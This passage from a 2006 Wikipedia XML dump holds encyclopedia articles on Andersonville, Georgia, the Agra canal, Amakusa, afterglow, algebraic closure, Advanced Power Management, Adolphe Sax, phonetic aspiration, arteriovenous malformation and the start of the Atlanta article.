Andersonville, originally named Anderson, Georgia, was given the name Andersonville by the United States Postal Service to prevent confusion with another city, also named Anderson.  The town, though unimpressive, and very sparsely populated, was in existence before the establishment of the Confederate prison camp at the site.  Andersonville is infamous as a [[Confederate]] [[American Civil War|civil war]] [[Prisoner-of-war_camp|POW camp]]. A small base known as Civil War village was established for visitors and Confederate soldiers. This former stockade has since become a small town. After the civil war the Andersonvillle POW camp evolved into a small town with its own hotel, post office and restaurant. Later the [[Andersonville National Historic Site]] was established as a memorial to the POWs who died at the camp. There is also a small museum to display how the town was founded and the involvment with the site of the Andersonville POW camp.
[[Image:Andersonville,ga.JPG|thumb|right|250px|A small village (next door to Andersonville National Historic Site) is known as 'Civil  War village' where tourists came to see around the town.]]

==Demographics==
As of the [[census]]{{GR|2}} of [[2000]], there are 331 people, 124 households, and 86 families residing in the city.  The [[population density]] is 98.3/km&amp;sup2; (254.1/mi&amp;sup2;).  There are 142 housing units at an average density of 42.2/km&amp;sup2; (109.0/mi&amp;sup2;).  The racial makeup of the city is 65.26% White and 34.74% [[African American]].  1.21% of the population are [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

There are 124 households out of which 34.7% have children under the age of 18 living with them, 46.0% are [[Marriage|married couples]] living together, 17.7% have a female householder with no husband present, and 30.6% are non-families. 26.6% of all households are made up of individuals and 10.5% have someone living alone who is 65 years of age or older.  The average household size is 2.67 and the average family size is 3.21.

In the city the population is spread out with 27.8% under the age of 18, 9.4% from 18 to 24, 31.4% from 25 to 44, 19.3% from 45 to 64, and 12.1% who are 65 years of age or older.  The median age is 36 years.  For every 100 females there are 105.6 males.  For every 100 females age 18 and over, there are 97.5 males.

The median income for a household in the city is $29,107, and the median income for a family is $30,972. Males have a median income of $26,591 versus $20,000 for females. The [[per capita income]] for the city is $15,168.  23.0% of the population and 19.8% of families are below the [[poverty line]].  Out of the total population, 29.3% of those under the age of 18 and 13.5% of those 65 and older are living below the poverty line.

== External links ==
*[http://www.andersonvillegeorgia.com/ Official website of Andersonville, Georgia]
*[http://andersonvillega.freeservers.com/ Official website of Andersonville]
{{Mapit-US-cityscale|32.197008|-84.141701}}

[[Category:Cities in Georgia (U.S. state)]]
[[Category:Sumter County, Georgia]]

[[io:Andersonville, Georgia]]</text>
    </revision>
  </page>
  <page>
    <title>Andersonville</title>
    <id>3121</id>
    <revision>
      <id>40245586</id>
      <timestamp>2006-02-19T05:20:41Z</timestamp>
      <contributor>
        <ip>69.144.138.239</ip>
      </contributor>
      <text xml:space="preserve">'''Andersonville''' is the name of some places in the [[United States|United States of America]]: 

* [[Edgewater, Chicago#Andersonville|Andersonville, Chicago]]
* [[Andersonville, Georgia]], the site of the Civil War POW camp
* [[Andersonville National Historic Site]]

* ''[[Andersonville (novel)|Andersonville]]'' is also the name of a novel by [[MacKinlay Kantor]] that won the [[Pulitzer Prize for Fiction]] in [[1956]].
*''[[Andersonville (film)|Andesonville]]'' film based on the Civil War POW camp

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Agra canal</title>
    <id>3122</id>
    <revision>
      <id>40267833</id>
      <timestamp>2006-02-19T10:29:47Z</timestamp>
      <contributor>
        <username>Shyamsunder</username>
        <id>800815</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''Agra canal''' is an important [[India]]n [[irrigation]] work, available 
also for navigation, in [[Delhi]], [[Gurgaon]], [[Muttra]] and [[Agra District|Agra]] districts, and [[Bharatpur]] State. It was opened in [[1874]].

The [[canal]] receives its water from the [[Jumna River]] at [[Okia]], about ten miles below Delhi.  The weir across the Jumna was the first attempted in [[Upper India]] upon a foundation of fine sand; it is about 800-yard long, and rises seven-feet above the summer level of the river.

From Okla the canal follows the high land between the Khari-nadi and the Jumna, and finally joins the Banganga river about 20 miles below Agra. Navigable branches connect the canal with Muttra and Agra.

[[Category:Geography of India]]
[[Category:Canals]]
[[Category:Dams and canals in Rajasthan]]
{{india-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Amakusa</title>
    <id>3123</id>
    <revision>
      <id>15901487</id>
      <timestamp>2005-06-09T22:36:11Z</timestamp>
      <contributor>
        <username>Melaen</username>
        <id>136864</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Amakusa''' (&amp;#22825;&amp;#33609;) is an island belonging to [[Japan]], 26&amp;frac12; miles long and 13&amp;frac12; in extreme width, situated about 32°20'N, 130°E, on the west of [[Kumamoto Prefecture]] (formerly the province of [[Higo province|Higo]] on the island of [[Kyushu]]), from which it is separated by the [[Yatsushiro-kai]].

It has no high mountains, but its surface being very hilly -- four of the peaks rise to a height over 1500 feet -- the natives resort to the terrace system of [[cultivation]] with remarkable success.  

A number of the heads of the Christians executed in connection with the [[Shimabara rebellion]] in the first half of the [[17th century]] were buried in this island.  Amakusa produces a little [[coal]] and fine [[kaolin]], which was largely used in former times by the potters of [[Hirado]] and [[Satsuma Province|Satsuma]]. 

Now '''[[Amakusa District, Kumamoto]]''' is a [[district (japan)|district]] and '''[[Amakusa, Kumamoto]]''' is a [[town (japan)|town]] in [[Kumamoto prefecture|Kumamoto]].

[[ja:&amp;#22825;&amp;#33609;]]
[[Category:Islands of Japan]]</text>
    </revision>
  </page>
  <page>
    <title>Afterglow</title>
    <id>3124</id>
    <revision>
      <id>40774609</id>
      <timestamp>2006-02-22T22:58:54Z</timestamp>
      <contributor>
        <username>Pflatau</username>
        <id>822782</id>
      </contributor>
      <minor />
      <comment>moved to atmospheric optics</comment>
      <text xml:space="preserve">{{otheruses}}

[[image:dresden.afterglow.700px.jpg|thumb|200px|An afterglow in [[Dresden]], [[Saxony]], [[Germany]].]]
[[image:Afterglow.jpg|thumb|200px|left|An afterglow in [[Slovenia]]n mountains, near [[Triglav Lakes Valley]].]]

The '''afterglow''' is the broad high arch of whitish or rosy light, appearing occasionally in the [[sky]], above the highest [[cloud]]s in the hour of deepening [[twilight]], or [[reflection (optics)|reflected]] from the high [[snow]]fields in [[mountain]] regions long after [[sunset]].

The phenomenon is due to very fine particles of [[dust]] suspended in the high regions of the [[earth's atmosphere|atmosphere]] that produce a scattering effect upon the component parts of [[white]] [[light]].  After the eruption of [[Krakatoa]] in [[1883]], a remarkable series of [[red]] sunsets appeared all over the world.  These were due to an enormous amount of exceedingly fine dust blown to a great height by that terrific explosion, and then universally diffused by the high [[atmospheric current]]s. This was shown in Edvard Munch's 'The Scream'.

[[Category:Atmospheric optics]]
[[Category:Optical phenomena]]</text>
    </revision>
  </page>
  <page>
    <title>Ammonius Grammaticus</title>
    <id>3125</id>
    <revision>
      <id>28106589</id>
      <timestamp>2005-11-12T10:59:01Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Ammonius Grammaticus''' is the supposed author of a treatise entitled ''Peri omoion kai dialoron lfxeon'' (On the Differences of Synonymous Expressions), of whom nothing is known.  

He was formerly identified with an [[Egypt]]ian priest who, after the destruction of the pagan temple at [[Alexandria, Egypt|Alexandria]] ([[389]]), fled to [[Constantinople]], where he became the tutor of the ecclesiastical historian [[Socrates Scholasticus|Socrates]].  But it seems more probable 
that the real author was [[Herennius Philo]] of Byblus, who was born during the reign of [[Nero]] and lived till the reign of [[Hadrian]], and that the treatise in its present form is a revision prepared by a later Byzantine editor, whose name may have been Ammonius.

==References==
*{{1911}}

[[Category:Ancient Romans]]</text>
    </revision>
  </page>
  <page>
    <title>Ahriman</title>
    <id>3126</id>
    <revision>
      <id>15901490</id>
      <timestamp>2002-10-30T21:34:06Z</timestamp>
      <contributor>
        <username>The Anome</username>
        <id>76</id>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Angra Mainyu]]</text>
    </revision>
  </page>
  <page>
    <title>Algebraic closure</title>
    <id>3129</id>
    <revision>
      <id>30701316</id>
      <timestamp>2005-12-09T11:04:28Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <comment>separable closure</comment>
      <text xml:space="preserve">In [[mathematics]], particularly [[abstract algebra]], an '''algebraic closure''' of a [[field (mathematics)|field]] ''K'' is an [[algebraic extension]] of ''K'' that is [[algebraically closed field|algebraically closed]].  It is one of many [[closure (mathematics)|closures]] in mathematics.

Using [[Zorn's lemma]], it can be shown that every field has an algebraic closure, and that the algebraic closure of a field ''K'' is unique [[up to]] an [[isomorphism]] that [[fixed point (mathematics)|fixes]] every member of ''K''. Because of this essential uniqueness, we often speak of ''the'' algebraic closure of ''K'', rather than ''an'' algebraic closure of ''K''.

The algebraic closure of a field ''K'' can be thought of as the largest algebraic extension of ''K''.
To see this, note that if ''L'' is any algebraic extension of ''K'', then the algebraic closure of ''L'' is also an algebraic closure of ''K'', and so ''L'' is contained within the algebraic closure of ''K''.
The algebraic closure of ''K'' is also the smallest algebraically closed field containing ''K'',
because if ''M'' is any algebraically closed field containing ''K'', then the elements of ''M'' which are algebraic over ''K'' form an algebraic closure of ''K''.

The algebraic closure of a field ''K'' has the same [[cardinal number|cardinality]] as ''K'' if ''K'' is infinite, and is [[countably infinite]] if ''K'' is finite.

==Examples==

*The [[fundamental theorem of algebra]] states that the algebraic closure of the field of [[real number|real numbers]] is the field of [[complex number|complex numbers]].

*The algebraic closure of the field of [[rational number|rational numbers]] is the field of [[algebraic number|algebraic numbers]].

*There are many countable algebraically closed fields within the complex numbers, and strictly containing the field of algebraic numbers; these are the algebraic closures of transcendental extensions of the rational numbers, e.g. the algebraic closure of '''Q'''(&amp;pi;).

*For a [[finite field]] of [[prime number|prime]] order ''p'', the algebraic closure is a [[countably infinite]] field which contains a copy of the field of order ''p''&lt;sup&gt;''n''&lt;/sup&gt; for each positive [[integer]] ''n'' (and is in fact the union of these copies).

*See also [[Puiseux expansion]].

==Separable closure==

An algebraic closure of ''K'' contains a subfield ''K''&lt;sup&gt;''s''&lt;/sup&gt;, which contains all the finite [[separable extension]]s of ''K'' within it. For ''K'' a [[perfect field]], the algebraic and separable closures are the same. In other cases the separable closure must be used to define the [[absolute Galois group]] of ''K''.
[[Category:Field theory]]

[[de:Algebraischer Abschluss]]
[[es:Clausura algebraica]]
[[fr:Clôture algébrique]]
[[he:סגור אלגברי]]</text>
    </revision>
  </page>
  <page>
    <title>Advanced Power Management</title>
    <id>3130</id>
    <revision>
      <id>30674988</id>
      <timestamp>2005-12-09T04:04:41Z</timestamp>
      <contributor>
        <username>Minghong</username>
        <id>110454</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Advanced Power Management''' ('''APM''') is an [[application programming interface|API]] developed by [[Intel]] and [[Microsoft]] which allows a [[BIOS]] to
perform [[power management]], such as reducing the CPU speed, turning off the hard disk or turning off power to the display after a preset period of inactivity in order to conserve electrical power, especially for [[laptop]] computers.
[[Computer monitor|Monitors]] supporting such APIs are usually referred to as &quot;green monitors&quot;, meaning environmentally friendly.

This is not to be confused with a [[screensaver]] which is software that causes the display to go black (by setting every pixel to black) to prevent burn-in.

[[Advanced Configuration and Power Interface|ACPI]] is the successor of APM.

{{FOLDOC}}

[[Category:Display technology]]

[[de:Advanced Power Management]]
[[es:APM]]
[[ja:Advanced Power Management]]
[[pl:Advanced Power Management]]
[[pt:APM]]</text>
    </revision>
  </page>
  <page>
    <title>Adolphe Sax</title>
    <id>3132</id>
    <revision>
      <id>41991502</id>
      <timestamp>2006-03-03T02:11:35Z</timestamp>
      <contributor>
        <ip>66.33.228.114</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Adolphe sax statue.jpg|right|thumb|250px|Life-size statue of Adolphe Sax outside his birthplace in [[Dinant]], [[Belgium]].]]
'''Antoine-Joseph''' (known as '''Adolphe''') '''Sax''' ([[November 6]], [[1814]] &amp;ndash; [[February 4]], [[1894]]) was a [[Belgium|Belgian]] [[musical instrument]] designer, best known for inventing the [[saxophone]].

Adolphe Sax was born in [[Dinant]] in [[Wallonia]], Belgium. His father, [[Charles-Joseph Sax]], was an instrument designer himself, who made several changes to the design of the [[horn (instrument)|horn]]. Adolphe began to make his own instruments at an early age, entering two of his [[flute]]s and a [[clarinet]] into a competition at the age of fifteen. He subsequently studied those two instruments at the Royal School of Singing in [[Brussels]].

Having left the school, Sax began to experiment with new instrument designs, while his father continued to produce conventional instruments to bring money into the household. Adolphe's first important invention was an improvement of the [[bass clarinet]] design which he patented at the age of 20.

In [[1841]], Sax relocated permanently to [[Paris]] and began work on a new set of instruments which were exhibited there in [[1844]]. They were keyed [[Bugle (instrument)|bugle]]s, and although he had not invented the instrument itself, his examples were so superior to those of his rivals that they became known as [[saxhorn|saxhorns]]. They range in approximately 7 different sizes, looking somewhat similar to the euphonium and also paved the path to the creation of the flugelhorn. Today, they are widely used in military bands and sometimes in orchestras.  The saxhorn also laid the groundwork for the modern [[euphonium]]. He also developed the [[saxtromba]] in [[1845]], though this survived only briefly.

The 1840s also saw Sax inventing the instrument for which he is now best known, the [[saxophone]], though is new invention was actually patented in 1838. The saxophone was invented for use in military bands. However, because of the raspy sound that is made synonomous with the saxophone as compared to the traditional brass and reed-absent instruments in traditional miitary bands, the saxophone is not used in military bands very often anymore. The instrument is made of brass with a conical bore and a flared &quot;bell&quot; like other brass made instruments. It is part of the woodwind family and uses a single reed and mouthpiece much like the clarinet. The [[composer]] [[Hector Berlioz]] wrote approvingly of the new instrument in [[1842]], but the instrument was not patented until [[1846]], after he had designed and exhibited a full range of saxophones (from soprano to bass). These instruments made his reputation, and secured him a job teaching at the [[Paris Conservatoire]] from [[1867]].

Sax continued to make instruments later in life, as well as presiding over a new saxophone class at the Paris Conservatoire. However, rival instrument-makers attacked the legitimacy of his patents and mounted a lengthy campaign of litigation against Sax and his company, driving him into bankruptcy twice (in [[1856]] and [[1873]]). The prolonged legal struggle may also have undermined his own health; he suffered from lip cancer between [[1853]] and [[1858]] but made a full recovery. 

He died in [[1894]] in Paris and was interred in the [[Cimetière de Montmartre]].

==External links==
*[http://www.saxgourmet.com/adolph-sax.html Adolphe Sax page] from Saxgourmet site

[[Category:1814 births|Sax, Adolphe]]
[[Category:1894 deaths|Sax, Adolphe]]
[[Category:Belgian inventors|Sax, Adolphe]]

[[bg:Адолф Сакс]]
[[de:Adolphe Sax]]
[[fr:Adolphe Sax]]
[[gl:Adolphe Sax]]
[[ko:아돌프 삭스]]
[[it:Adolphe Sax]]
[[nl:Adolphe Sax]]
[[ja:アドルフ・サックス]]
[[no:Adolphe Sax]]
[[nn:Adolphe Sax]]
[[pl:Adolphe Sax]]
[[pt:Adolphe Sax]]
[[sl:Adolphe Sax]]
[[fi:Adolphe Sax]]
[[sv:Adolphe Sax]]</text>
    </revision>
  </page>
  <page>
    <title>Affricate</title>
    <id>3133</id>
    <revision>
      <id>15901497</id>
      <timestamp>2002-08-01T01:25:51Z</timestamp>
      <contributor>
        <username>Perique des Palottes</username>
        <id>2630</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Affricate consonant]]</text>
    </revision>
  </page>
  <page>
    <title>Aspiration (phonetics)</title>
    <id>3134</id>
    <revision>
      <id>40495389</id>
      <timestamp>2006-02-20T23:55:00Z</timestamp>
      <contributor>
        <username>BostonMA</username>
        <id>668039</id>
      </contributor>
      <comment>wikify</comment>
      <text xml:space="preserve">In [[phonetics]], '''aspiration''' is the strong burst of [[Earth's atmosphere|air]] that accompanies the release of some [[obstruent]]s. To feel or see the difference between aspirated and unaspirated sounds, one can put a hand or a lit candle in front of his or her mouth, and say ''tore'' and then ''store''. One should either feel a puff of air or see a flicker of the candle flame with ''tore'' that one does not get with ''store''. In English, the ''t'' should be aspirated in ''tore'' and unaspirated in ''store''.

The diacritic for aspiration in the [[International Phonetic Alphabet]] is a superscript &quot;h&quot;, {{IPA|[ʰ]}}. Unaspirated consonants are not normally marked explicitly, but there is a diacritic for non-aspiration in the [[International_Phonetic_Alphabet#Extended_IPA_diacritics|Extended IPA]], the superscript equal sign, {{IPA|[⁼]}}. 

[[Voiceless]] consonants are produced with the [[vocal cords]] open. (Voicing involves bringing the vocal cords close together.) Voiceless aspiration occurs when the vocal cords remain open after a consonant is released. An easy way to measure this is by noting the consonant's [[voice onset time]], as the voicing of a following vowel cannot begin until the vocal cords close. However, aspirated consonants are not always followed by vowels or other voiced sounds; indeed, in Eastern [[Armenian language|Armenian]], aspiration is contrastive even at the ends of words: 

{| class=&quot;wikitable&quot;
!colspan=2|Final aspiration in E. Armenian
|-
|{{IPA|bard͡z}}||''pillow''
|-
|{{IPA|bart͡s⁼}}||''difficult''
|-
|{{IPA|bart͡sʰ}}||''high''
|}

[[English language|English]] [[voiceless]] [[stop consonant]]s are aspirated when they are word-initial or begin a [[stressed syllable]], as in ''pen'', ''ten'', ''Ken'', but this is not distinctive. That is, these consonants have unaspirated variants in other positions, such as word-finally or in an initial cluster with [s], as in ''spun'', ''stun'', ''skunk''. In many languages, such as [[Cantonese language|Cantonese]], [[Hindi]], [[Icelandic language|Icelandic]], [[Korean language|Korean]], [[Mandarin (linguistics)|Mandarin]], [[Thai language|Thai]], and [[Ancient Greek]], {{IPA|[p⁼ t⁼ k⁼]}} ''etc.'' and {{IPA|[pʰ tʰ kʰ]}} ''etc.'' are different [[phoneme]]s altogether.

[[Alemannic German|Alemannic German dialects]] have unaspirated {{IPA|[p⁼ t⁼ k⁼]}} as well as aspirated {{IPA|[pʰ tʰ kʰ]}}; the latter series are usually viewed as [[consonant cluster]]s. In [[Danish language|Danish]] and most southern varieties of [[German language|German]], the &quot;[[Fortis and lenis|lenis]]&quot; consonants transcribed for historical reasons as {{IPA|&amp;lt;b d g&amp;gt;}} are distinguished them from their &quot;[[Fortis and lenis|fortis]]&quot; counterparts {{IPA|&amp;lt;p t k&amp;gt;}} mainly in their lack of aspiration.

[[Icelandic language|Icelandic]] has '''pre-aspirated''' {{IPA|[ʰp ʰt ʰk]}}; some scholars interpret these as consonant clusters as well. 

There are degrees of aspiration. Armenian and Cantonese have aspiration that lasts about as long as English aspirated stops, as well as unaspirated stops like Spanish. Korean has lightly aspirated stops that fall between the Armenian and Cantonese unaspirated and aspirated stops, as well as strongly aspirated stops whose aspiration lasts longer than that of Armenian or Cantonese. (See [[voice onset time]].) An old IPA symbol for light aspiration was {{IPA|[&amp;nbsp;ʻ&amp;nbsp;]}} (that is, like a rotated ejective symbol), but this is no longer commonly used. There is no specific symbol for strong aspiration, but {{IPA|[ʰ]}} can be iconically doubled for, say, Korean *{{IPA|[kʻ&amp;nbsp;]}} vs. *{{IPA|[kʰʰ]}}. Note however that Korean is nearly universally transcribed as {{IPA|[k]}} vs. {{IPA|[kʰ]}}, with the details of voice onset time given numerically. 

Aspiration also varies with [[place of articulation]]. Spanish /p t k/, for example, have voice onset times (VOTs) of about 5, 10, and 30 milliseconds, whereas English /p t k/ have VOTs of about 60, 70, and 80 ms. Korean has been measured at 20, 25, and 50 ms for /p t k/ and 90, 95, and 125 for {{IPA|/pʰ tʰ kʰ/}}. 

The word 'aspiration' and the aspiration symbol is sometimes used with voiced stops, such as {{IPA|[dʰ]}}. However, such &quot;voiced aspiration&quot;, also known as [[breathy voice|''breathy voice'' or ''murmur'']], is less ambiguously transcribed with dedicated diacritics, either {{IPA|[d̤]}} or {{IPA|[dʱ]}}. (Some linguists restrict the subscript diacritic {{IPA|[&amp;nbsp;&amp;nbsp;̤]}} to [[sonorant]]s, such as [[vowel]]s and [[nasal consonant]]s, which are murmured throughout their duration, and use the superscript {{IPA|[ʱ]}} for the murmured release of obstruents.) When it is included as aspiration, voiceless aspiration is called just that to avoid ambiguity. 

==Reference==
*Taehong Cho and Peter Ladefoged, &quot;Variations and universals in VOT&quot;. In ''Fieldwork Studies of Targeted Languages V: UCLA Working Papers in Phonetics'' vol. 95. 1997. 

==See also== 
*[[Voice onset time]]
*[[List of phonetic topics]]
*[[Phonation]]

[[Category:phonetics]]

[[da:Aspiration (sang)]]
[[de:Aspiration (Phonetik)]]
[[he:מנושפות העיצורים]]
[[id:Aspirasi]]
[[ja:&amp;#26377;&amp;#27671;&amp;#38899;]]
[[ko:&amp;#44201;&amp;#51020;]]
[[nl:Spiritus (taalkunde)]]</text>
    </revision>
  </page>
  <page>
    <title>Arteriovenous malformation</title>
    <id>3135</id>
    <revision>
      <id>37160531</id>
      <timestamp>2006-01-29T02:59:56Z</timestamp>
      <contributor>
        <username>Jfdwolff</username>
        <id>46555</id>
      </contributor>
      <comment>uh, not to forget vHL, ROW etc</comment>
      <text xml:space="preserve">'''Arteriovenous malformation''' or '''AVM''' is a [[congenital disorder]] of the veins and arteries that make up the [[blood vessels | vascular system ]] .  The cause of this disorder is unknown, but is not generally thought to be [[hereditary]], unless in the context of a specific hereditary syndrome.

Arteries and veins are part of the [[ Circulatory system | human cardiovascular system]]. Normally, the arteries in the vascular system carry oxygen-rich blood at a relatively high pressure.  Structurally, arteries divide and sub-divide repeatedly, eventually forming a sponge-like capillary bed.  Blood moves through the capillaries, giving up oxygen and taking up waste products from the surrounding cells. Capillaries successively join together, one upon the other, to form the veins that carry blood away at a relatively low pressure.  The heart acts to pump blood from the low pressure veins to the high pressure arteries.

If the capillary bed is thought of as a sponge, then an AVM is the rough equivalent of jamming a tangle of flexible soda straws from artery to vein through that sponge.  On arteriorgram films AVM formation often resemble a tangle of spaghetti noodles. This tangle of blood vessels forms a relatively direct connection between high pressure arteries and low pressure veins. 

The result is a collection of blood vessels with abnormal connections and without [[capillaries]]. This collection, often called a &lt;I&gt;nidus&lt;/I&gt;, can be extremely fragile and prone to bleeding. AVMs can occur in various parts of the body including the [[human brain|brain]] (see [[cerebral arteriovenous malformation]]), [[spleen]], [[lung]], [[kidney]] and [[liver]]. AVMs may occur in isolation or as a part of another disease (e.g. [[von Hippel-Lindau disease]] or [[Rendu-Osler-Weber syndrome]]).

This bleeding can be devasting, particularly in the brain. They can cause severe and often fatal [[stroke]]s.  If detected before the stroke occurs, usually the arteries feeding blood into the nidus can be closed off, ensuring the safety of the patient.

==Fiction==

This condition affected the character of Nate in the US TV series [[Six Feet Under]]. 

==External links==
* [http://www.seattlechildrens.org/our_services/clinical_services/vascular_anomalies/art_malform.asp Information about Arteriovenous Malformations] from Children's Hospital, Seattle.

[[Category:Anatomical pathology]]
[[Category:Congenital disorders]]</text>
    </revision>
  </page>
  <page>
    <title>Abstract concept</title>
    <id>3136</id>
    <revision>
      <id>15901500</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Concept]]
</text>
    </revision>
  </page>
  <page>
    <title>Atlanta, Georgia</title>
    <id>3138</id>
    <revision>
      <id>42002536</id>
      <timestamp>2006-03-03T03:49:32Z</timestamp>
      <contributor>
        <username>Anonymous editor</username>
        <id>283160</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/64.12.116.138|64.12.116.138]] ([[User talk:64.12.116.138|talk]]) to last version by BDAbramson</comment>
      <text xml:space="preserve">{{redirect|Atlanta}}
{{Infobox City |official_name = Atlanta, Georgia
|nickname = The Horizon City, Hotlanta, The Big Peach
|website = http://www.atlantaga.gov/
|image_skyline = Atl skyline.JPG
|image_flag = Us-gaat2.png
|image_seal = Atlanta city seal.png
|image_map = Atlanta Fulton.png
|map_caption = Location in [[Fulton County, Georgia|Fulton]] and [[DeKalb County, Georgia|DeKalb]] counties in the state of [[Georgia (U.S. state)|Georgia]]
|subdivision_type = [[Countries of the world|Country]]&lt;br&gt;  [[Political divisions of the United States|State]]&lt;br&gt;  [[List of counties in Georgia|County]]
|subdivision_name = [[United States]]&lt;br&gt;[[Georgia (U.S. state)|Georgia]]&lt;br&gt;[[Fulton County, Georgia]]
|leader_title = [[Mayor]]
|leader_name = [[Shirley Franklin]] ([[United States Democratic Party|D]])
|area_magnitude = 1 E8
|area_total = 132.4 mi² - 343.0
|area_land = 131.8 mi² - 341.2
|area_water = 0.7 mi² - 1.8
|population_as_of = 2004
|population_total = 425,000
|population_metro = 4,708,297
|population_density = 1,221
|timezone = [[Eastern Standard Time Zone|EST]]
|utc_offset = -5
|timezone_DST = [[Eastern Daylight Time|EDT]]
|utc_offset_DST = -4
|latd = 33
|latm = 45
|lats = 18
|latNS = N
|longd = 84
|longm = 23
|longs = 24
|longEW = W
|elevation = 320
|footnotes =
}}
&lt;!-- Unsourced image removed: [[Image:Atl Skyline.jpg|thumb|250px| Downtown Atlanta Skyline)]] --&gt;
'''Atlanta''' is the capital of and largest city in the [[U.S. state]] of [[Georgia (U.S. state)|Georgia]]. It is the [[county seat]] of [[Fulton County, Georgia|Fulton County]], although a portion of the city (the 1909 [[annex]]) is located in [[DeKalb County, Georgia|DeKalb County]]. According to the latest [[U.S. Census|census]] estimates (as of December, 2004), the city has a [[Population of Atlanta|population]] of 425,000 and the [[Atlanta metropolitan area]] totaled 4,708,297, making it the ninth-largest metropolitan area in the [[United States]] and the 41st-largest city proper. Atlanta is arguably a poster-child for cities worldwide experiencing rapid urban [[sprawl]], population growth, and commercial development. As a result, Atlanta is a common case study for college students who study Urban Geography around the globe.

The Atlanta area was originally inhabited by Cherokee and Creek Indians, and was named Standing Peachtree.  In 1823, the area was opened to white settlement.  It remained mostly woods until 1836, when the area was chosen as the southern &quot;Terminus&quot; of a railroad from Chattanooga. A local settlement called &quot;[[John Thrasher#Founding of Atlanta|Thrasherville]]&quot; (near present-day Philips arena, home of the Atlanta Thrashers) was renamed &quot;Terminus,&quot; and in 1843 the town was officially named &quot;Marthasville,&quot; after the daughter of the governor of Georgia.  The business community, however, was concerned that such a name wouldn't sell, and a new name, &quot;Atlanta,&quot; was chosen in 1845 as much more marketable.  Hence, from the start &quot;Atlanta&quot; began as a transportation hub and marketing center.  The town was incorporated as the &quot;city&quot; of Atlanta in 1847, and by 1860 the population was 9,554.

Atlanta was largely destroyed by Union forces during the [[American Civil War|Civil War]], but was chosen as the state capital in 1868, having been established as the site of command for Union soldiers and the Reconstruction administration. In the 1880's, a revival was led by newspaperman Henry Grady, who advocated Atlanta as the &quot;capital of the New South.&quot; By 1890 Atlanta had 65,000 residents and was one of the 50 largest cities in America, a distinction Atlanta has held for over 110 years. In 1892, Atlanta's first skyscraper, the 8-story Equitable Building, began Atlanta's rise to the skies. The city expanded rapidly from 1900 (89,000) to 1930 (302,000) before growth slowed during the Depression. In the 1960's Atlanta was a center for the [[American Civil Rights Movement]]. In 1970, the city's population topped out at 497,000 before &quot;white flight&quot; to the suburbs dropped the city to 394,000 in 1990. However, in 1996 Atlanta served as the host city for the Centennial [[1996 Summer Olympics]], and the city has rallied to 425,000 by 2004, fueled in part by a new desire for shorter commutes and intown living.

One of the city's nicknames, &quot;The Phoenix City&quot;, relates to its rise after the Civil War.  The [[Phoenix (mythology)|phoenix]] appears in many of Atlanta's  symbols, including its seal and flag. In the 1940s and 1950s, former Atlanta mayor [[William B. Hartsfield]] called Atlanta &quot;The City Too Busy to Hate&quot;.  In addition, it has also been called the &quot;New York of the South&quot; in response to one of Georgia's own nicknames, &quot;The Empire State of the South.&quot; Atlanta may also be known as '''ATL''', a [[colloquialism]] for the city derived from the [[IATA airport code]] for the airport.

Atlanta is circled by [[Interstate 285]], called the &quot;Perimeter&quot; by locals, which has come to delineate the interior of the city from the surrounding suburbs. This has given rise to the terms ITP (inside the Perimeter) and OTP (outside the Perimeter) to describe area neighborhoods, residents, and businesses.  In this respect, the Perimeter plays a social and geographical role similar to that of the [[Capital Beltway]] around [[Washington, DC]]. 

Atlanta has such a great economic impact on the state and the surrounding region that cities and towns up to 100 miles away are considered 'exurbs', defined by the fact that people depend on their livelihoods by commuting to work in the city, rapidly growing what is called [[Atlanta metropolitan area|Metro Atlanta]].  Atlanta is one of the most prosperous cities in the United States and is often referred to as the unofficial &quot;capital of the South.&quot; The city is also an especially important cultural and economic center for [[African-American|African-Americans]]; Atlanta has not had a non-black mayor for over 30 years, and in recent decades nearly all Fire Chiefs, Police Chiefs, and other government officials have been African-American.

==History== 
The region where Atlanta and its suburbs were built was originally [[Creek people|Creek]] and [[Cherokee]] [[Native Americans in the United States|Native American]] territory. The Creek land in the eastern part of the metro area (including Decatur) was opened to white settlement in 1823. In 1835, leaders of the Cherokee nation ceded their land to the government in exchange for land out west under the [[Treaty of New Echota]], an act that eventually led to the [[Trail of Tears]]. In 1836 the [[Georgia General Assembly]] voted to build the [[Western and Atlantic Railroad]] to provide a trade route to the [[Midwestern United States|Midwest]], with the area around Atlanta--then called [[Terminus]]--serving as the terminal. The terminus was originally planned for [[Decatur, Georgia|Decatur]], but its citizens did not want it. Besides Decatur, several other suburbs of Atlanta predate the city by several years, including [[Marietta, Georgia|Marietta]] and [[Lawrenceville, Georgia|Lawrenceville, GA]]. Terminus grew as a railroad town; later it was renamed [[Marthasville, Georgia|Marthasville]] after then-Governor Wilson Lumpkin's daughter Martha. Marthasville was renamed Atlanta in 1845 and was incorporated as such in 1847.
[[Image:Atlanta1864.jpg|thumbnail|left|A slave auction house on Whitehall St., before Sherman burned Atlanta]]

